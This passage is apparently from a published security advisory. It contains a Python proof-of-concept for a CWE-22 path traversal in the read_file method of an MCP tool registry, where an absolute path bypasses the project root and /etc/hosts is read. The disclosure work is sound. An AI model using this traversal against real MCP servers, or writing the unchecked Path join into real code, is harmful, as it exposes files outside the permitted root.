-\u003e  call_tool(\"read_file\", {\"file_path\": \"/etc/hosts\",\n                                               \"offset\": 0, \"limit\": 5})\n    -\u003e MCPToolsRegistry.read_file(\"/etc/hosts\", offset=0, limit=5)\n    -\u003e full_path = Path(\"/safe/root\") / \"/etc/hosts\"  ==\u003e  Path(\"/etc/hosts\")\n    -\u003e open(\"/etc/hosts\")  # no boundary check, file content returned\n\nThis PoC exercises the actual MCPToolsRegistry.read_file() method from the\ninstalled package.  The Memgraph client (mgclient) is pre-mocked in sys.modules\nbecause it is a native C extension that requires a live database; it is NOT used\nby the vulnerable code path.  The MCPToolsRegistry instance is created via\nobject.__new__() to skip the __init__ that would connect to Memgraph -- the\npaginated read_file branch only reads self.project_root, nothing else.\n\"\"\"\n\nimport asyncio\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\n\n# ---------------------------------------------------------------------------\n# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path\n# ---------------------------------------------------------------------------\n# mgclient is a C extension (Memgraph client).  It is imported at the top of\n# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the\n# module import succeed without a native library or a live Memgraph server.\nsys.modules[\"mgclient\"] = MagicMock()\nsys.modules[\"pymgclient\"] = MagicMock()\n\n# ---------------------------------------------------------------------------\n# Step 2: Import the vulnerable class from the installed package\n# ---------------------------------------------------------------------------\nprint(\"[*] Importing MCPToolsRegistry from installed codebase_rag package ...\")\ntry:\n    from codebase_rag.mcp.tools import MCPToolsRegistry\nexcept Exception as exc:\n    print(f\"[!] Import failed: {exc}\")\n    sys.exit(2)\nprint(\"[+] Import successful\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)\n# ---------------------------------------------------------------------------\n# __init__ connects to Memgraph and Qdrant -- neither is available here.\n# The paginated read_file branch uses ONLY self.project_root, so setting\n# just that attribute is sufficient to reproduce the vulnerability.\nSAFE_ROOT = \"/tmp/safe-project-root\"\n\nregistry = object.__new__(MCPToolsRegistry)\nregistry.project_root = SAFE_ROOT\n\nprint(f\"[*] MCPToolsRegistry instance created via object.__new__()\")\nprint(f\"[*] project_root = {SAFE_ROOT!r}\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 4: Demonstrate the pathlib absolute-path bypass\n# ---------------------------------------------------------------------------\nATTACK_PATH = \"/etc/hosts\"\n\njoined = Path(SAFE_ROOT) / ATTACK_PATH\nprint(\"[*] Pathlib join behaviour (the root cause):\")\nprint(f\"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}\")\nprint(f\"    =\u003e {joined}\")\nprint(f\"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}\")\n\nassert str(joined) == ATTACK_PATH, (\n    f\"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}\"\n)\nprint(\"[+] CONFIRMED: pathlib discards project_root when file_path is absolute\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 5: Call the actual vulnerable method\n# ---------------------------------------------------------------------------\nprint(f\"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)\")\nprint(f\"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path\")\nprint(f\"[*] Resulting full_path       = {joined}\")\nprint()\n\n\nasync def run_poc() -\u003e str:\n    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)\n\n\nresult = asyncio.run(run_poc())\n\nprint(\"[+] read_file() returned:\")\nprint(\"-\" * 60)\nprint(result)\nprint(\"-\" * 60)\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 6: Validate the output contains real /etc/hosts content\n# ---------------------------------------------------------------------------\nwith open(ATTACK_PATH) as fh:\n    actual_hosts = fh.read()\n\n# Accept any of: pagination header, loopback address, or raw /etc/hosts lines\nconfirmed = (\n    \"Lines \" in result                             # pagination header present\n    or \"127.0.0.1\" in result                       # standard loopback entry\n    or \"localhost\" in result                        # standard hostname entry\n    or \"::1\" in result                             # IPv6 loopback\n    or any(\n        line.strip() in result\n        for line in actual_hosts.splitlines()\n        if line.strip() and not line.startswith(\"#\")\n    )\n)\n\nif confirmed:\n    print(\"[+] EXPLOIT SUCCESSFUL\")\n    print(f\"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal\")\n    print(f\"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed\")\n    print()\n    print(\"[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\")\n    sys.exit(0)\nelse:\n    print(\"[-] Validation failed -- could not find /etc/hosts content in result\")\n    print(f\"[-] Returned value: {result!r}\")\n    sys.exit(1)\n```","status":"published","published":"2026-11-09T21:21:32Z","modified":"2026-11-09T21:45:11.09924327Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T22:10:51.322704Z"}]}}
